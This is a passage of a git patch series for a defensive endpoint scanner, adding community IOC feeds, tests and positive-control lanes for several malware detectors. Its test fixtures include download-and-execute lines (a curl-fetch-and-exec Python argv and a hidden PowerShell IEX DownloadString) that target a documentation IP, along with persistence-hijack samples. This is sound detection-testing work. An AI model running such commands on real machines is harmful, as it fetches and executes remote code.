Opt-in and by-hand: `aegis.py intel update` downloads two " + "public abuse.ch\n IOC exports; scans then grade their own " + "hashes and outbound ip:port rows\n against the local copy — " + "offline, nothing about this machine ever sent.") + return 0 + + +def _intel_summary(): + """One status-line cell for cmd_status: (mark, text).""" + docs = [d for d in (load_json(INTEL_BAZAAR_FILE, None), + load_json(INTEL_THREATFOX_FILE, None)) + if isinstance(d, dict)] + if not docs: + return "·", "none fetched (opt-in: aegis.py intel update)" + hashes, net = _intel_sets() + oldest = max((time.time() - _epoch(d.get("fetched_at"))) / 86400.0 + for d in docs) + if oldest > INTEL_STALE_DAYS: + return "✗", ("%d hashes / %d ip:ports, oldest fetch %.0f days ago — " + "STALE (>%dd; run aegis.py intel update)" + % (len(hashes), len(net), oldest, INTEL_STALE_DAYS)) + return "✓", ("%d hashes / %d ip:ports, oldest fetch %.1f days ago" + % (len(hashes), len(net), oldest)) + + def cmd_allow(path): ensure_state() allow = load_json(ALLOWLIST, []) @@ -14756,6 +15103,13 @@ def cmd_guard(action="status", rest=None): vt OPT-IN VirusTotal reputation for a file/hash (sends only the hash, never the file; needs AEGIS_VT_API_KEY or ~/.aegis/vt_key; the scan path stays local-only regardless) + intel [update|status] + OPT-IN community IOC intel (abuse.ch MalwareBazaar + + ThreatFox; no key, no account). `update` fetches the two + PUBLIC exports by hand; scans then grade the hashes they + already compute and outbound ip:port rows against the + LOCAL copy, offline. Nothing fetched ⇒ the surface is + simply absent and the scan path stays network-free canary [remove] plant (or remove) ransomware canary/honeypot files, plus any OPT-IN credential-canary tokens configured as "canary_tokens": [{"path": "...", "content": "..."}] in @@ -14931,6 +15285,8 @@ def main(argv): return cmd_allow(argv[2]) if cmd == "vt" and len(argv) > 2: return cmd_vt(argv[2]) + if cmd == "intel": + return cmd_intel(argv[2] if len(argv) > 2 else "status") if cmd == "canary": return cmd_canary(argv[2] if len(argv) > 2 else "plant") if cmd == "watch": diff --git a/tests/test_regression.py b/tests/test_regression.py index 4de7fad..5210cf8 100644 --- a/tests/test_regression.py +++ b/tests/test_regression.py @@ -180,6 +180,19 @@ def setUp(self): "CANARY_STATE": os.path.join(self.state, "canaries.json"), # vt_key must be sandboxed so no test reads or writes the real key. "VT_KEY_FILE": os.path.join(self.state, "vt_key"), + # Community-intel artifacts (aegis.py intel …). Pinned so a real + # feed the developer fetched into ~/.aegis/intel can never plant + # nondeterministic CRITICAL findings into scan-level tests. The + # parsed-set cache is reset for the same reason, in both + # directions: no test may see the real sets, and no later test may + # see a stale sandboxed set (the mtime-keyed cache would otherwise + # outlive tearDown's path restore). + "INTEL_DIR": os.path.join(self.state, "intel"), + "INTEL_BAZAAR_FILE": os.path.join(self.state, "intel", + "malwarebazaar.json"), + "INTEL_THREATFOX_FILE": os.path.join(self.state, "intel", + "threatfox.json"), + "_INTEL_CACHE": None, # The listener surface shells to lsof (live host state). Point it # at /usr/bin/true (rc 0, no output ⇒ empty snapshot) so scan-level # tests are deterministic; listener tests call the parse/diff @@ -2282,6 +2295,298 @@ def fake_urlopen(req, timeout=0): self.assertEqual(seen["key"], "secret") +class _FakeFeedResp: + """Minimal urlopen()-shaped response for the intel transport stub.""" + + def __init__(self, payload): + self._payload = payload + + def __enter__(self): + return self + + def __exit__(self, *a): + return False + + def read(self, n=-1): + return self._payload if n is None or n < 0 else self._payload[:n] + + +# --------------------------------------------------------------------------- # +# Community IOC intel (`aegis.py intel …`) — the opt-in, by-hand feed layer. +# Doctrine mirror of the vt tests above: `intel update` is the only half that +# may touch the network (stubbed here, both feed formats exercised from +# fixtures), and the scan path only ever GRADES the local copy — proven +# structurally by running a full scan with the transport booby-trapped to +# explode. No intel fetched ⇒ the surface is absent, never degraded. +# --------------------------------------------------------------------------- # +class TestIntelFeeds(Sandbox): + SHA_BAZAAR = "11" * 32 + SHA_TF = "33" * 32 + C2 = "185.10.9.3:4444" + + def _bazaar_text(self, sha=None): + sha = sha or self.SHA_BAZAAR + return ( + "################################################################\n" + "# MalwareBazaar recent malware samples (SHA256 hashes) #\n" + "# Last updated: 2026-08-11 13:43:48 UTC #\n" + "################################################################\n" + "#\n" + "# sha256_hash\n" + + sha + "\n" + + "not-a-hash\n" + + sha.upper() + "\n" # duplicate (case-folded) → one entry + + "22" * 32 + "\n") + + def _threatfox_json(self, sha=None, c2=None): + """The real export shape: dict of id → list of IOC rows, plus garbage + groups/rows that must be skipped, never raised on.""" + sha = sha or self.SHA_TF + return json.dumps({ + "1872298": [{ + "ioc_value": c2 or self.C2, "ioc_type": "ip:port", + "threat_type": "botnet_cc", "malware": "win.cobalt_strike", + "malware_printable": "Cobalt Strike", + "first_seen_utc": "2026-08-01 00:00:00", + "confidence_level": 100}], + "1872299": [{ + "ioc_value": "j4lpcxth.en-us-slimsounds.example", + "ioc_type": "domain", "malware_printable": "ClearFake", + "first_seen_utc": "2026-08-11 14:08:51"}], + "1872300": [{ + "ioc_value": sha, "ioc_type": "sha256_hash", + "malware_printable": "AMOS", + "first_seen_utc": "2026-08-02 12:00:00"}], + "1872301": ["garbage", 42, {"ioc_value": 5, "ioc_type": "ip:port"}], + "1872302": "not-a-list", + }) + + def _stub_transport(self, mapping): + """Route urlopen by URL fragment to fixture bytes or an exception.""" + import urllib.request + + def fake_urlopen(req, timeout=0): + url = getattr(req, "full_url", req) + for frag, payload in mapping.items(): + if frag in url: + if isinstance(payload, Exception): + raise payload + return _FakeFeedResp(payload) + raise AssertionError("unexpected fetch: %s" % url) + + saved = urllib.request.urlopen + urllib.request.urlopen = fake_urlopen + self.addCleanup(setattr, urllib.request, "urlopen", saved) + + def _write_intel(self, hashes_list=(), tf_hashes=None, tf_net=None, + bazaar_fetched=None, tf_fetched=None): + aegis.save_json(aegis.INTEL_BAZAAR_FILE, { + "feed": "MalwareBazaar", "fetched_at": bazaar_fetched or + aegis.now_iso(), "count": len(hashes_list), + "hashes": list(hashes_list)}) + aegis.save_json(aegis.INTEL_THREATFOX_FILE, { + "feed": "ThreatFox", "fetched_at": tf_fetched or aegis.now_iso(), + "hashes": tf_hashes or {}, "net": tf_net or {}}) + + # --- intel update (by-hand fetch; transport always stubbed) ----------- + def test_update_parses_both_feed_formats(self): + self._stub_transport({ + "bazaar.abuse.ch": self._bazaar_text().encode(), + "threatfox.abuse.ch": self._threatfox_json().encode()}) + buf = io.StringIO() + with contextlib.redirect_stdout(buf): + self.assertEqual(aegis.cmd_intel("update"), 0) + bz = aegis.load_json(aegis.INTEL_BAZAAR_FILE, None) + self.assertIn(self.SHA_BAZAAR, bz["hashes"]) + self.assertNotIn("not-a-hash", bz["hashes"]) + self.assertEqual(bz["hashes"].count(self.SHA_BAZAAR), 1, + "duplicate hashes must be folded to one entry") + self.assertTrue(bz.get("fetched_at")) + tf = aegis.load_json(aegis.INTEL_THREATFOX_FILE, None) + self.assertEqual(tf["hashes"][self.SHA_TF]["family"], "AMOS") + self.assertEqual(tf["net"][self.C2]["family"], "Cobalt Strike") + self.assertEqual(tf["net"][self.C2]["first_seen"], + "2026-08-01 00:00:00") + # Privacy posture: hashes and ip:ports only — the feed's domains/URLs + # are never written to disk. + self.assertNotIn("slimsounds", json.dumps(tf)) + if os.name == "posix": + for p in (aegis.INTEL_BAZAAR_FILE, aegis.INTEL_THREATFOX_FILE): + self.assertEqual(os.stat(p).st_mode & 0o777, 0o600) + + def test_update_failure_keeps_prior_data_and_says_so(self): + self._write_intel(hashes_list=[self.SHA_BAZAAR], + tf_net={self.C2: {"family": "Cobalt Strike", + "first_seen": None}}) + self._stub_transport({"abuse.ch": OSError("connection refused")}) + buf = io.StringIO() + with contextlib.redirect_stdout(buf): + self.assertEqual(aegis.cmd_intel("update"), 1) + self.assertIn("prior", buf.getvalue().lower()) + bz = aegis.load_json(aegis.INTEL_BAZAAR_FILE, None) + self.assertEqual(bz["hashes"], [self.SHA_BAZAAR], + "a failed fetch must never clobber the prior copy") + tf = aegis.load_json(aegis.INTEL_THREATFOX_FILE, None) + self.assertIn(self.C2, tf["net"]) + + def test_garbage_feed_data_never_raises(self): + # Bytes that are neither valid text-export nor JSON must fail SOFT: + # non-zero exit, message, no artifact written. + self._stub_transport({"abuse.ch": b"\x00\xffgarbage{{{"}) + buf = io.StringIO() + with contextlib.redirect_stdout(buf): + self.assertEqual(aegis.cmd_intel("update"), 1) + self.assertFalse(os.path.exists(aegis.INTEL_BAZAAR_FILE)) + self.assertFalse(os.path.exists(aegis.INTEL_THREATFOX_FILE)) + # And the pure parsers never raise on hostile shapes. + self.assertEqual(aegis._parse_bazaar_sha256_export("#c\nzz\n\n"), []) + self.assertEqual(aegis._parse_threatfox_export(["x", 42, None]), + ({}, {})) + self.assertEqual( + aegis._parse_threatfox_export( + {"1": ["y", {"ioc_value": 5, "ioc_type": "ip:port"}], + "2": "zz", "3": None}), + ({}, {})) + self.assertEqual(aegis._parse_threatfox_export("a string"), ({}, {})) + + def test_bad_action_prints_usage(self): + buf = io.StringIO() + with contextlib.redirect_stdout(buf): + self.assertEqual(aegis.cmd_intel("bogus"), 1) + self.assertIn("usage", buf.getvalue()) + + # --- scan-path grading (offline, read-only) ---------------------------- + def _plant_payload_and_persistence(self): + payload = os.path.join(self.tmp, "payload.sh") + with open(payload, "w") as f: + f.write("#!/bin/sh\necho evil\n") + rec = aegis._finish_persist_record( + aegis._persist_record(label="com.evil.updater"), payload, [payload]) + saved = aegis.snapshot_persistence + aegis.snapshot_persistence = lambda: {"launchd:" + payload: rec} + self.addCleanup(setattr, aegis, "snapshot_persistence", saved) + return payload, aegis.sha256(payload) + + def _booby_trap_network(self): + """The structural guarantee, enforced: ANY python-level network use + during the scan raises straight through the test.""" + import socket + import urllib.request + + def boom(*a, **k): + raise AssertionError("the scan path touched the network") + + for mod, attr in ((urllib.request, "urlopen"), + (socket, "create_connection"), + (socket, "getaddrinfo")): + saved = getattr(mod, attr) + setattr(mod, attr, boom) + self.addCleanup(setattr, mod, attr, saved) + + def test_scan_with_intel_present_never_touches_network_and_flags_hash(self): + payload, sha = self._plant_payload_and_persistence() + self._write_intel(hashes_list=[sha], + tf_hashes={sha: {"family": "AMOS", + "first_seen": "2026-08-02 12:00:00"}}) + self._booby_trap_network() + aegis.cmd_scan(quiet=True) # must complete — no urlopen, no sockets + latest = aegis.load_json(aegis.LATEST_JSON, {}) + hits = [f for f in latest.get("findings", []) + if f["category"] == "intel"] + self.assertEqual(len(hits), 1) + self.assertEqual(hits[0]["severity"], "CRITICAL") + self.assertIn("Known-malware hash", hits[0]["title"]) + self.assertEqual(hits[0].get("sha256"), sha) + self.assertIn("AMOS", hits[0]["detail"]) + self.assertIn("first seen", hits[0]["detail"]) + + def test_scan_with_non_matching_intel_stays_silent(self): + self._plant_payload_and_persistence() + self._write_intel(hashes_list=["44" * 32], + tf_hashes={"55" * 32: {"family": "X", + "first_seen": None}}) + self._booby_trap_network() + aegis.cmd_scan(quiet=True) + latest = aegis.load_json(aegis.LATEST_JSON, {}) + self.assertEqual([f for f in latest.get("findings", []) + if f["category"] == "intel"], []) + + def test_no_intel_files_means_surface_absent_not_degraded(self): + self._plant_payload_and_persistence() + self._booby_trap_network() + aegis.cmd_scan(quiet=True) + latest = aegis.load_json(aegis.LATEST_JSON, {}) + self.assertEqual([f for f in latest.get("findings", []) + if f["category"] == "intel"], []) + self.assertNotIn("intel", [h["sensor_id"] + for h in aegis.get_sensor_health()], + "no intel ⇒ no sensor row at all (absent, not " + "degraded)") + + def test_findings_carrying_sha256_are_graded(self): + # The hot-dir/app-bundle route: any finding that already carries a + # sha256 is graded without re-hashing anything. + sha = "55" * 32 + self._write_intel(tf_hashes={sha: {"family": "AMOS", + "first_seen": None}}) + prior = [aegis.finding( + "HIGH", "hot-dir", "Unsigned executable in watched folder", + "detail", "fp1", sha256=sha, path="/x/y")] + fs = aegis.check_intel({}, prior) + self.assertEqual(len(fs), 1) + self.assertEqual(fs[0]["severity"], "CRITICAL") + self.assertIn("ThreatFox", fs[0]["detail"]) + # Robustness: malformed records and findings grade to nothing. + self.assertEqual( + aegis.check_intel({"k": "notadict", "j": {"sha256": None}}, + [{}, "x"]), []) + + def test_outbound_connection_to_known_c2_is_critical(self): + self._write_intel(tf_net={self.C2: {"family": "Cobalt Strike", + "first_seen": "2026-08-01"}}) + saved = aegis._outbound_rows + aegis._outbound_rows = lambda: [("/Users/me/payload", + "185.10.9.3", "4444")] + self.addCleanup(setattr, aegis, "_outbound_rows", saved) + fs = [f for f in aegis.check_outbound() if f["category"] == "intel"] + self.assertEqual(len(fs), 1) + self.assertEqual(fs[0]["severity"], "CRITICAL") + self.assertIn("Cobalt Strike", fs[0]["detail"]) + self.assertEqual(fs[0].get("remote"), "185.10.9.3") + self.assertEqual(fs[0].get("port"), "4444") + # Control: a non-listed endpoint produces no intel finding. + aegis._outbound_rows = lambda: [("/Users/me/payload", "8.8.8.8", + "443")] + self.assertEqual([f for f in aegis.check_outbound() + if f["category"] == "intel"], []) + + # --- intel status ------------------------------------------------------- + def test_status_reports_ages_counts_and_stale(self): + stale_ts = time.strftime("%Y-%m-%dT%H:%M:%S+00:00", + time.gmtime(time.time() - 10 * 86400)) + self._write_intel(hashes_list=["22" * 32], bazaar_fetched=stale_ts, + tf_net={self.C2: {"family": "Cobalt Strike", + "first_seen": None}}) + buf = io.StringIO() + with contextlib.redirect_stdout(buf): + self.assertEqual(aegis.cmd_intel("status"), 0) + out = buf.getvalue() + for line in out.splitlines(): + if "MalwareBazaar" in line: + self.assertIn("STALE", line) + self.assertIn("1 ", line) # entry count is reported + if "ThreatFox" in line: + self.assertNotIn("STALE", line) + + def test_status_with_nothing_fetched_explains_opt_in(self): + buf = io.StringIO() + with contextlib.redirect_stdout(buf): + self.assertEqual(aegis.cmd_intel(), 0) # default action = status + out = buf.getvalue() + self.assertIn("not fetched", out) + self.assertIn("intel update", out) + + # --------------------------------------------------------------------------- # # install.sh smoke test — the installer had two CRITICAL bugs with zero coverage: # F0 an unescaped '&' from a "…/Work & Projects/…" path → invalid plist XML → From 3047f3ef0a12a4f9638b74ef7fb053158136c09e Mon Sep 17 00:00:00 2001 From: "C.D.Lee" <265386841+opencdlee-dotcom@users.noreply.github.com> Date: Tue, 11 Aug 2026 09:33:17 -0700 Subject: [PATCH 08/11] fix(aegis): update-check tests must not reimplement _refresh_line's Windows quoting Both Windows CI jobs failed identically: the drift-refresh assertions built their own expected substring from a bare _SELF_PATH, but _refresh_line() quotes the path on Windows (the reference repo path has spaces and '&'), so the unquoted expectation never matched the quoted output. Use _refresh_line() itself as the oracle instead of re-deriving its quoting rule in the test. Co-Authored-By: Claude Fable 5 --- tests/test_setup_updatecheck.py | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/tests/test_setup_updatecheck.py b/tests/test_setup_updatecheck.py index ae3f766..3b0e77b 100644 --- a/tests/test_setup_updatecheck.py +++ b/tests/test_setup_updatecheck.py @@ -267,7 +267,12 @@ def test_drift_exits_one_with_the_exact_refresh_line(self): self.assertEqual(1, rc) text = out.getvalue() self.assertIn("STALE", text) - self.assertIn("%s install watch" % aegis._SELF_PATH, text) + # _refresh_line() quotes the path on Windows (the reference repo path + # has spaces and '&'), so reimplementing the quoting here would just + # re-encode the same assumption the production code makes. Use it as + # the oracle instead — SELFSTATE is unchanged since cmd_update_check + # read it, so both calls see the same install_mode. + self.assertIn(aegis._refresh_line(), text) def test_refresh_line_defaults_to_scan_mode(self): self._write(aegis.RUNTIME_SCRIPT, "# OLD runtime copy v1\n") @@ -275,7 +280,7 @@ def test_refresh_line_defaults_to_scan_mode(self): with contextlib.redirect_stdout(out): rc = aegis.cmd_update_check() self.assertEqual(1, rc) - self.assertIn("%s install\n" % aegis._SELF_PATH, out.getvalue()) + self.assertIn(aegis._refresh_line(), out.getvalue()) def test_doctor_surfaces_drift_as_a_problem(self): """doctor is where rot surfaces: a stale runtime copy must degrade the From abb728d001621768bc58e519c7f9b3448656be54 Mon Sep 17 00:00:00 2001 From: "C.D.Lee" <265386841+opencdlee-dotcom@users.noreply.github.com> Date: Tue, 11 Aug 2026 13:40:49 -0700 Subject: [PATCH 09/11] test(aegis): assay positive controls for the five new detection surfaces MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Five detectors shipped with no positive control: outbound beacon recurrence, the obfuscated-inline-payload argv scorer, community-intel grading, the Windows COM/IFEO/AppInit diffs, and Sysmon event scoring. That is the state the latch detector was in when it answered "unknown" forever — reachable-looking, permanently silent, and nothing failing. New lanes, each asserting BOTH poles: beacon-recurrence a broken-signature row and a risky-path row that recur across 3 scans / 69 min score HIGH; a browser NAME, a 2-scan history, a 3-scan burst inside 9 min, a signed binary in an ordinary path, and a pair no longer live all stay silent. argv-obfuscation interpreter + inline-code flag + a long decodable high-entropy blob scores both obfuscated-inline- payload and argv-encoded-loader, and a fetching argv escalates to HIGH; print(1+1), a 160-char zero- entropy run, English prose, and the SAME blob with no code-execution flag (gate 1) stay silent. The stimulus is base64 of an inert nonce-tagged marker built at run time: no payload is committed, and the nonce is still never persisted. intel-match a hash and an ip:port on synthetic in-memory sets grade CRITICAL through check_intel (both the persistence-record and prior-finding paths) and _intel_net_finding; a miss and empty sets stay silent. _intel_sets is redirected for the lane's duration, so no ~/.aegis/intel file is read and no request is made. win-evasion a COM server into a user-writable path is HIGH, a sethc.exe IFEO Debugger is CRITICAL, AppInit_DLLs being set is HIGH; a Program Files target, an ordinary IFEO target (HIGH, not CRITICAL), and already-adopted entries stay silent. sysmon-scoring EID 1 with a hostile CommandLine is HIGH and with a risky-path image is MEDIUM, EID 6 unsigned driver is HIGH; a validly-signed driver, a clean process in a trusted path, and a stray event ID stay silent, and one event re-read in overlapping windows is one finding. The two Windows lanes swap IS_WIN and the prefix tables for their own duration — unconditionally, so one control means the same thing on every host — and restore them in `finally`; the live tables keep their existing `risky-location` lane. Gating these to Windows would leave the author's macOS machine reporting coverage it had never once exercised, which is precisely the asserted-rather-than-demonstrated state this tier exists to expose. 13 tests pin the LANES, not the detectors (those have their own suites). The load-bearing one swaps each underlying detector for a dead stub AND for a hardwired-yes stub and requires the lane to fail against both: a control that only fed hostile input survives the hardwired-yes stub, which is the failure mode the both-poles rule exists to prevent. The rest pin that these lanes open no socket, write nothing but assay.json, leave the intel memo and the real feed files untouched, pass with IS_WIN either way while leaking no platform global, and build the argv blob from the nonce. Verified: `aegis.py assay` reports 19/19 controls proven (all five new lanes PASS); full suite 812 tests OK, 4 platform skips. Co-Authored-By: Claude Fable 5 --- aegis.py | 285 +++++++++++++++++++++++++++++++++- tests/test_protective_tier.py | 200 ++++++++++++++++++++++++ 2 files changed, 482 insertions(+), 3 deletions(-) diff --git a/aegis.py b/aegis.py index c7cbf5e..20894d7 100755 --- a/aegis.py +++ b/aegis.py @@ -10244,10 +10244,27 @@ def cmd_incidents(show_all=False): "the flagged idiom (decode-and-exec) is what matters.", "net-listener": "Dev servers, Docker, syncthing, and AirPlay bind ports; " "loopback-only listeners are already excluded.", + "net-beacon": "A long-lived sync/telemetry daemon you installed (syncthing, " + "tailscaled, a backup agent) holds one endpoint across scans, " + "which is the same SHAPE as a beacon — check the binary.", "btm": "Any app you install can register a login item or background agent.", - "browserext": "Extensions you installed yourself appear here on first sight.", - "ide_ext": "VSCode/Cursor extensions auto-update, which re-fires this.", - "wallet": "Wallet apps rewrite their own config on update or account change.", + # Keyed on the finding CATEGORY, which is hyphenated. The surface ids + # ("browserext", "ide_ext") are a different namespace, and using those + # spellings here meant _benign_note_for's exact lookup never matched, so + # these two notes silently never rendered on the surfaces that need them + # most. + "browser-ext": "Extensions you installed yourself appear here on first sight.", + "ide-ext": "VSCode/Cursor extensions auto-update, which re-fires this.", + "com-hijack": "Dev tools and Office add-ins register per-user COM servers " + "under HKCU; a target inside Program Files is ordinary.", + "appinit": "A few legacy IME/accessibility tools still use AppInit_DLLs.", + "sysmon": "Your own scripting produces EID 1 constantly — the flagged argv " + "idiom is the signal, not the process itself.", + "intel": "A recent-window community feed can list a shared CDN/VPS address " + "someone else abused, so an ip:port hit is far weaker evidence " + "than a hash hit; verify before acting on the endpoint alone.", + "wallet-integrity": "Wallet apps rewrite their own config on update or " + "account change.", "web-protection": "Editing /etc/hosts for local development is expected.", "hardening": "A deliberately disabled firewall or Remote Login you enabled.", "canary": "A backup/indexing tool touching the decoy file, or your own edit.", @@ -14136,6 +14153,253 @@ def probe(): g["WRIT_FILE"] = real shutil.rmtree(d, ignore_errors=True) + # --- the surfaces added in this release -------------------------------- + # Five detectors shipped with no control at all. That is the same state the + # latch detector was in when it answered "unknown" forever: reachable- + # looking, permanently silent, and nothing failing. The both-poles rule + # above applies unchanged to every lane below — the benign pole is named in + # each docstring, because on these five surfaces it is the harder one. + + # Windows-shaped fixtures need Windows-shaped grading. Swapped for the + # duration of the two lanes below, UNCONDITIONALLY (including on Windows) + # so one control means the same thing on every host; the live tables keep + # their own lane (`risky-location`). + _WIN_ASSAY_FLAGS = { + "IS_WIN": True, + "TRUSTED_PREFIXES": ("C:\\Windows\\", "C:\\Program Files\\"), + "RISKY_PREFIXES": ("C:\\Users\\",), + } + + def _swap_win_flags(): + g = globals() + saved = {k: g[k] for k in _WIN_ASSAY_FLAGS} + g.update(_WIN_ASSAY_FLAGS) + return saved + + def lane_beacon_recurrence(nonce): + """Recurrence scores the beacon residue shape and stays silent on + browser churn, a short history, a short span, and a signed binary in an + ordinary path. + + The benign poles are the whole reason this detector exists as a + separate rung: outbound churn cannot be baseline-diffed because a + browser opens hundreds of connections, so recurrence keys on the + opposite invariant and MUST exclude the things that legitimately hold a + remote pair for hours. Pure over synthetic (ts, rows) snapshots — it + observes nothing, records nothing, and connects to nothing.""" + now = _epoch() + hot = "/nonexistent-assay-%s/updater" % nonce + risky = os.path.join(WIN_TEMP if IS_WIN else "/tmp", + "aegis-assay-%s" % nonce) + browser = "/nonexistent-assay-%s/Google Chrome" % nonce + + def hist(row, spans=(4200, 2100, 60)): + return [(now - s, [list(row)]) for s in spans] + + # Two hostile rows, one per arm of the gate: 'broken' is the single + # trust verdict suspicious_sig accepts on all three platforms, and the + # risky-path row proves the OR's other side with an ordinary signature. + for row in ((hot, "198.51.100.7", "8443", "broken"), + (risky, "198.51.100.7", "8443", "signed")): + out = _beacon_recurrence(hist(row), [row]) + if len(out) != 1 or out[0]["severity"] != "HIGH": + return False + bro = (browser, "198.51.100.7", "8443", "broken") + if _beacon_recurrence(hist(bro), [bro]) != []: + return False # a browser is excluded by NAME, not trust + row = (hot, "198.51.100.7", "8443", "broken") + if _beacon_recurrence(hist(row)[:2], [row]) != []: + return False # below BEACON_MIN_SCANS + if _beacon_recurrence(hist(row, (600, 300, 60)), [row]) != []: + return False # 3 scans, but inside one polling burst + quiet = ("/nonexistent-assay-%s/tool" % nonce, "198.51.100.7", + "8443", "signed") + if _beacon_recurrence(hist(quiet), [quiet]) != []: + return False # signed, ordinary path + return _beacon_recurrence(hist(row), []) == [] # not live now: silent + + def lane_argv_obfuscation(nonce): + """An interpreter handed a long decodable high-entropy blob scores, an + inline decode-and-execute composition scores, a fetching argv escalates + — and the benign shapes stay silent. + + Gate 1 (a real code-execution flag) is the benign pole that decides + whether this surface is usable at all: Electron helpers, JWT-bearing + cloud CLIs and hash-named cache paths carry giant opaque argv on an + ordinary machine, so entropy scored over any process would flag the + operator's own work. The stimulus is base64 of an INERT nonce-tagged + marker plus random bytes: it is built here rather than committed, and + it decodes to nothing that runs.""" + raw = b"AEGIS-ASSAY-INERT-" + nonce.encode() + os.urandom(80) + blob = base64.b64encode(raw).decode() + hostile = ('python3 -c "import base64;exec(base64.b64decode(\'%s\'))"' + % blob) + sig = dict(_argv_signals(hostile)) + if "obfuscated-inline-payload" not in sig: + return False # the long decodable blob itself + if "argv-encoded-loader" not in sig: + return False # decode composed with an exec sink + fetchy = ('python3 -c "import os,base64;os.system(\'curl -fsSL ' + 'http://198.51.100.7/%s\');exec(base64.b64decode(\'%s\'))"' + % (nonce, blob)) + if dict(_argv_signals(fetchy)).get( + "obfuscated-inline-payload") != "HIGH": + return False # an argv that also FETCHES escalates + for benign in ('python3 -c "print(1+1)"', + 'python3 -c "x=\'%s\'"' % ("a" * 160), + 'python3 -c "print(\'%s\')"' + % ("the gardener waters every single row of tomatoes " + "before dusk and the neighbours complain again"), + "/nonexistent-assay-%s/tool --token %s" + % (nonce, blob)): + if _argv_signals(benign): + return False # short code, low entropy, English, no gate + # Gate 1 asserted against the scorer directly: the same blob with no + # code-execution flag anywhere in argv must score nothing at all. + return _obfuscated_payload_signals("--token %s" % blob, set()) == [] + + def lane_intel_match(nonce): + """A hash and an ip:port on the local IOC sets grade CRITICAL; a + non-matching hash, a non-matching endpoint, and empty sets are silent. + + Runs against SYNTHETIC in-memory sets, with `_intel_sets` redirected + for the duration. A control that read the operator's real feed files + would prove nothing on a machine that never ran `intel update` and + would silently come to depend on whatever a feed published that day — + so this lane reads no file and makes no request.""" + g = globals() + real = g["_intel_sets"] + hit = hashlib.sha256(("aegis-assay-hit-" + nonce).encode()).hexdigest() + miss = hashlib.sha256( + ("aegis-assay-miss-" + nonce).encode()).hexdigest() + meta = {"feed": "assay", "family": "Assay.Inert", + "first_seen": "1970-01-01"} + try: + g["_intel_sets"] = lambda: ({hit: meta}, + {"198.51.100.7:8443": meta}) + label = "com.assay.%s" % nonce + snap = {label: {"program": "/nonexistent-assay-%s/x" % nonce, + "sha256": hit, "label": label}} + out = check_intel(snap) + if len(out) != 1 or out[0]["severity"] != "CRITICAL": + return False # a persistence record's own program hash + out = check_intel({}, [{ + "sha256": hit, "category": "hotdir", + "path": "/nonexistent-assay-%s/d" % nonce}]) + if len(out) != 1 or out[0]["severity"] != "CRITICAL": + return False # a hash another sensor already carried + net = _intel_net_finding("/nonexistent-assay-%s/x" % nonce, + "198.51.100.7", 8443) + if not net or net["severity"] != "CRITICAL": + return False # a live connection to a catalogued C2 + if check_intel({label: {"program": "/p", "sha256": miss}}) != []: + return False # a hash the sets do not carry + if _intel_net_finding("/p", "203.0.113.9", 443) is not None: + return False # an endpoint the sets do not carry + g["_intel_sets"] = lambda: ({}, {}) + return check_intel(snap) == [] # no local intel at all: inert + except Exception: + return False + finally: + g["_intel_sets"] = real + + def lane_win_evasion(nonce): + """The three Windows execute-hijack diffs score their hostile shapes + and stay silent on ordinary churn — on EVERY host. + + These diffs are pure over dicts, so gating the lane to Windows would + leave the author's macOS machine reporting coverage that was never once + exercised: exactly the asserted-rather-than-demonstrated state this + whole tier exists to expose. The benign poles are what keep the surface + readable — a COM registration into an admin-writable install tree is + ordinary app churn, and an entry already present at first sight is + adopted, not alerted.""" + saved = _swap_win_flags() + try: + clsid = "{018D5C66-4533-4307-9B53-224DE2ED1FE6}\\InprocServer32" + bad = "C:\\Users\\assay\\AppData\\Roaming\\assay-%s.dll" % nonce + good = "C:\\Program Files\\Vendor\\assay-%s.dll" % nonce + out = diff_com_hijack({}, {clsid: bad}) + if len(out) != 1 or out[0]["severity"] != "HIGH": + return False # new CLSID server in a user-writable path + out = diff_com_hijack({clsid: good}, {clsid: bad}) + if len(out) != 1 or out[0]["severity"] != "HIGH": + return False # the same CLSID repointed in place + if diff_com_hijack({}, {clsid: good}) != []: + return False # a Program Files target is app churn + if diff_com_hijack({clsid: bad}, {clsid: bad}) != []: + return False # adopted and unchanged + dbg = "C:\\Users\\assay\\assay-%s.exe" % nonce + out = diff_ifeo({}, {"debugger:sethc.exe": dbg}) + if len(out) != 1 or out[0]["severity"] != "CRITICAL": + return False # accessibility binary = pre-auth backdoor + out = diff_ifeo({}, {"debugger:notepad.exe": dbg}) + if len(out) != 1 or out[0]["severity"] != "HIGH": + return False # an ordinary target is HIGH, not CRITICAL + if diff_ifeo({"debugger:sethc.exe": dbg}, + {"debugger:sethc.exe": dbg}) != []: + return False # pre-existing entry, already adopted + ak = "Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows" + val = "assay-%s.dll" % nonce + out = diff_appinit({}, {ak: val}) + if len(out) != 1 or out[0]["severity"] != "HIGH": + return False # AppInit_DLLs is off by default + return diff_appinit({ak: val}, {ak: val}) == [] + except Exception: + return False + finally: + globals().update(saved) + + def lane_sysmon_scoring(nonce): + """Sysmon EID 1 and 6 scoring fires on the hostile fixtures and stays + silent on a validly-signed driver, a clean process in a trusted path, + and a stray event ID. + + Pure over the `log|id|time|message` rows the harvest already parses, so + it runs everywhere for the same reason the lane above does. EID 1 is + the high-volume channel Sysmon exists to produce, so 'can it fire' is + the cheap half — a scorer that reported every process creation would + pass a hostile-only control and bury the operator.""" + saved = _swap_win_flags() + try: + ch = _SYSMON_CHANNEL + cmd = ("powershell -nop -w hidden -c IEX(New-Object " + "Net.WebClient).DownloadString('http://198.51.100.7/%s')" + % nonce) + hostile = ("Image: C:\\Windows\\System32\\WindowsPowerShell\\v1.0" + "\\powershell.exe CommandLine: %s" % cmd) + out = _sysmon_findings([(ch, "1", "2026-01-01T00:00Z", hostile)]) + if len(out) != 1 or out[0]["severity"] != "HIGH": + return False # hostile idiom in the CommandLine + drop = ("Image: C:\\Users\\assay\\AppData\\Local\\Temp\\assay-%s" + ".exe CommandLine: assay-%s.exe --quiet" % (nonce, nonce)) + out = _sysmon_findings([(ch, "1", "t", drop)]) + if len(out) != 1 or out[0]["severity"] != "MEDIUM": + return False # risky-path exec with a clean argv + unsigned = ("ImageLoaded: C:\\Windows\\System32\\drivers\\assay-%s" + ".sys Signed: false SignatureStatus: Unavailable" + % nonce) + out = _sysmon_findings([(ch, "6", "t", unsigned)]) + if len(out) != 1 or out[0]["severity"] != "HIGH": + return False # ring-0 code with no vouching signature + clean = ("Image: C:\\Windows\\System32\\notepad.exe CommandLine: " + 